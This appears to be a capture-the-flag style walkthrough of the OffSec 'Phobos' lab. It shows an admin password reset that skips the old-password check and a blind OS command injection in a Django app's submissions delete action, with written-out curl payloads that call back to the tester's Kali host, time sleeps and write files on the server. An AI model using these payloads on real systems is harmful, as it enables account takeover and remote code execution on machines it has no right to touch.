internal-phobos.phobos.offsec
A virtual host has been unveiled by enumerating the Subversion repository.
┌──(kali㉿kali)-[~/…/PG_PRACTICE/phobos/svn/dev]
└─$ curl -I -X OPTIONS http://internal-phobos.phobos.offsec/
HTTP/1.1 200 OK
Date: Sun, 09 Mar 2025 15:26:29 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 0
Allow: GET, POST, PUT, HEAD, OPTIONS
Expires: Sun, 09 Mar 2025 15:26:29 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
┌──(kali㉿kali)-[~/…/PG_PRACTICE/phobos/svn/dev]
└─$ curl -I http://internal-phobos.phobos.offsec/
HTTP/1.1 200 OK
Date: Sun, 09 Mar 2025 15:26:43 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 6077
Expires: Sun, 09 Mar 2025 15:26:43 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
Vary: Cookie,Accept-Encoding
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie: csrftoken=OLOzgm4IbE1jgQwG7Sw6uCKd5WnfR6NSNXEVtxVbmnBfFkxqWEIdGMAnyaly4IvX; expires=Sun, 08 Mar 2026 15:26:43 GMT; Max-Age=31449600; Path=/; SameSite=Lax
Content-Type: text/html; charset=utf-8/Practice/Phobos/3-Exploitation/attachments/{F11C8FE4-3045-4F3E-9BC0-4B97916353EF}.png)
Webroot
It’s a login page
/Practice/Phobos/3-Exploitation/attachments/{5185BE95-BEA9-4C8B-A1D1-E7819DB0FE7C}.png)
Although not much is revealed on the screen, the source code of this Django application has already been enumerated.
register
/Practice/Phobos/3-Exploitation/attachments/Pasted-image-20250309164220.png)
That includes the /register endpoint
Creating a testing account.
/Practice/Phobos/3-Exploitation/attachments/Pasted-image-20250309164305.png)
/Practice/Phobos/3-Exploitation/attachments/{02FC90C3-8071-4280-85B3-8215AD193977}.png)
Authenticated and redirected to the /home endpoint
jobs
/Practice/Phobos/3-Exploitation/attachments/{1476DF9C-E594-4025-94A3-07911995B202}.png)
File submission is achieve able through the jobs endpoint
File Upload
/Practice/Phobos/3-Exploitation/attachments/{F620B709-7C74-4F69-88DC-7F318BCC4C0E}.png)
/Practice/Phobos/3-Exploitation/attachments/{D12519A7-696A-487F-A927-6E746973F636}.png)
/Practice/Phobos/3-Exploitation/attachments/{A030AF26-59D4-4E48-B8BC-F3FBE584C506}.png)
The file upload feature is not implemented correctly. It doesn’t upload at all.
This is expected as revealed in the source code
Password Reset
The password reset feature present at the /account endpoint is vulnerable as it does not check for old password, allowing anyone to reset password for anybody
/Practice/Phobos/3-Exploitation/attachments/{A77FA69B-FFA3-4556-BBB2-7EE2971D0838}.png)
Resetting the password of the admin user, and it works as expected.
Supposedly, the admin user must be a staff member
/Practice/Phobos/3-Exploitation/attachments/{827EEAB5-053A-4264-B44A-C342C8663126}.png)
/Practice/Phobos/3-Exploitation/attachments/{7165969F-AD2B-411D-830E-2A1F6052D87A}.png)
Successfully authenticated as the admin user
Submissions
/Practice/Phobos/3-Exploitation/attachments/{B183DCFD-BBC7-49FE-A9B7-CA3DA057F95E}.png)
The supposed staff member, admin, has access to the /submissions/ endpoint, where the user can either view or delete the file present in the /var/www/html/internal/submissions/ directory
OS Command Injection
Given, there is a OS command injection vulnerability exist in the file parameter of the delete action, I can attempt to verify the critical vulnerability
Network Limited
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ cmd='$(curl http://192.168.45.218/blah)'; time curl -s -X POST http://internal-phobos.phobos.offsec/submissions/ -H 'Content-Type: application/x-www-form-urlencoded' -b 'csrftoken=Mzge3HqUkskMhLrCgOg6Sm36tAYAJmJDIg00kNXey0c1RuuHoRfWUy0Gmo7lt8ML; sessionid=xq2mlknhlq6qaxbski9h52okwmq4c1dj' --data-binary "csrfmiddlewaretoken=PuG5TIGZ30vR3gnYCGKsS8gdatHhuq2pLbqRaOdjhyn6DZq3KJJiUkdN3hQ2ec5x&file=$cmd&action=delete" | grep -w real/Practice/Phobos/3-Exploitation/attachments/{87B626C7-86BA-4DF2-9A6C-347C4C37AA21}.png)
It doesn’t appear to work
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ cmd='$(ping -c 1 192.168.45.218)'; time curl -s -X POST http://internal-phobos.phobos.offsec/submissions/ -H 'Content-Type: application/x-www-form-urlencoded' -b 'csrftoken=Mzge3HqUkskMhLrCgOg6Sm36tAYAJmJDIg00kNXey0c1RuuHoRfWUy0Gmo7lt8ML; sessionid=xq2mlknhlq6qaxbski9h52okwmq4c1dj' --data-binary "csrfmiddlewaretoken=PuG5TIGZ30vR3gnYCGKsS8gdatHhuq2pLbqRaOdjhyn6DZq3KJJiUkdN3hQ2ec5x&file=$cmd&action=delete" | grep -w real/Practice/Phobos/3-Exploitation/attachments/{059E7DDB-B4DA-46F5-BF7F-D58436621277}.png)
Attempting to ping to Kali also fails
This might be due to the presence of firewall
Confirmation
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ cmd='$(sleep 10)'; time curl -s -X POST http://internal-phobos.phobos.offsec/submissions/ -H 'Content-Type: application/x-www-form-urlencoded' -b 'csrftoken=Mzge3HqUkskMhLrCgOg6Sm36tAYAJmJDIg00kNXey0c1RuuHoRfWUy0Gmo7lt8ML; sessionid=xq2mlknhlq6qaxbski9h52okwmq4c1dj' --data-binary "csrfmiddlewaretoken=PuG5TIGZ30vR3gnYCGKsS8gdatHhuq2pLbqRaOdjhyn6DZq3KJJiUkdN3hQ2ec5x&file=$cmd&action=delete" | grep -w real
real 10.07s
user 0.01s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ cmd='$(sleep 6)'; time curl -s -X POST http://internal-phobos.phobos.offsec/submissions/ -H 'Content-Type: application/x-www-form-urlencoded' -b 'csrftoken=Mzge3HqUkskMhLrCgOg6Sm36tAYAJmJDIg00kNXey0c1RuuHoRfWUy0Gmo7lt8ML; sessionid=xq2mlknhlq6qaxbski9h52okwmq4c1dj' --data-binary "csrfmiddlewaretoken=PuG5TIGZ30vR3gnYCGKsS8gdatHhuq2pLbqRaOdjhyn6DZq3KJJiUkdN3hQ2ec5x&file=$cmd&action=delete" | grep -w real
real 6.07s
user 0.00s
sys 0.01s
cpu 0%The sleep command appears to work. This suggests that the OS command injection works but I am network-limited
Temporary “Shell”
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ cmd='$(echo OS_command_injection > /var/www/html/internal/submissions/out.txt)'; time curl -s -X POST http://internal-phobos.phobos.offsec/submissions/ -H 'Content-Type: application/x-www-form-urlencoded' -b 'csrftoken=Mzge3HqUkskMhLrCgOg6Sm36tAYAJmJDIg00kNXey0c1RuuHoRfWUy0Gmo7lt8ML; sessionid=xq2mlknhlq6qaxbski9h52okwmq4c1dj' --data-binary "csrfmiddlewaretoken=PuG5TIGZ30vR3gnYCGKsS8gdatHhuq2pLbqRaOdjhyn6DZq3KJJiUkdN3hQ2ec5x&file=$cmd&action=delete" | grep -w real
real 0.07s
user 0.00s
sys 0.01s
cpu 8%/Practice/Phobos/3-Exploitation/attachments/{A44DE412-A065-446C-8E47-42079ED47911}.png)
/Practice/Phobos/3-Exploitation/attachments/{8620B6AE-13F1-4CAB-BED8-EE6C50AB6679}.png)
Writing an arbitrary file to /var/www/html/internal/submissions/out.txt
This confirms the OS command injection